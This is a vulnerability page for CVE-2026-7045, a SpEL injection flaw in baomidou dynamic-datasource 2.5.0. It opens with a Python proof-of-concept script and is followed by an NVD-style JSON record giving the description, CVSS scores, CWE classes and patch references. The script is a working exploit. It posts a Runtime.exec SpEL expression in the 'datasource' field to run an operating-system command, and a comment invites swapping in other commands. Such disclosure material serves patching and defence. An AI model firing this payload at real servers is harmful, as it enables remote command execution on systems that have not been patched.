CVE-2026-7045

# POC Concept for CVE-2026-7045 # This script sends a malicious payload to trigger SpEL injection. import requests target_url = "http://localhost:8080/api/datasource" # Malicious SpEL payload to execute a command (e.g., opening calculator) # Change 'touch /tmp/pwned' to OS specific command for Linux or 'calc.exe' for Windows spel_payload = "T(java.lang.Runtime).getRuntime().exec('touch /tmp/pwned')" headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-7045-Test" } # Attempt to inject via the parameter that determines datasource data = { "datasource": spel_payload, "username": "admin", "password": "admin" } try: response = requests.post(target_url, json=data, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") print("Check if the file /tmp/pwned was created or command executed.") except Exception as e: print(f"Error occurred: {e}")

{"cve": {"id": "CVE-2026-7045", "sourceIdentifier": "[email protected]", "published": "2026-04-26T22:17:32.233", "lastModified": "2026-04-27T18:50:06.087", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was determined in baomidou dynamic-datasource 2.5.0. Affected by this vulnerability is the function DsSpelExpressionProcessor#doDetermineDatasource of the file dynamic-datasource-spring/src/main/java/com/baomidou/dynamic/datasource/processor/DsSpelExpressionProcessor.java of the component StandardEvaluationContext/SpelExpressionParser. This manipulation causes injection. The attack may be initiated remotely. Patch name: 273fcedaee984c08197c0890f14190b86ab7e0b8. It is recommended to apply a patch to fix this issue."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-707"}]}], "references": [{"url": "https://github.com/baomidou/dynamic-datasource/", "source": "[email protected]"}, {"url": "https://github.com/baomidou/dynamic-datasource/commit/273fcedaee984c08197c0890f14190b86ab7e0b8", "source": "[email protected]"}, {"url": "https://github.com/baomidou/dynamic-datasource/issues/766", "source": "[email protected]"}, {"url": "https://github.com/baomidou/dynamic-datasource/pull/767", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/798600", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/359624", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/359624/cti", "source": "[email protected]"}]}}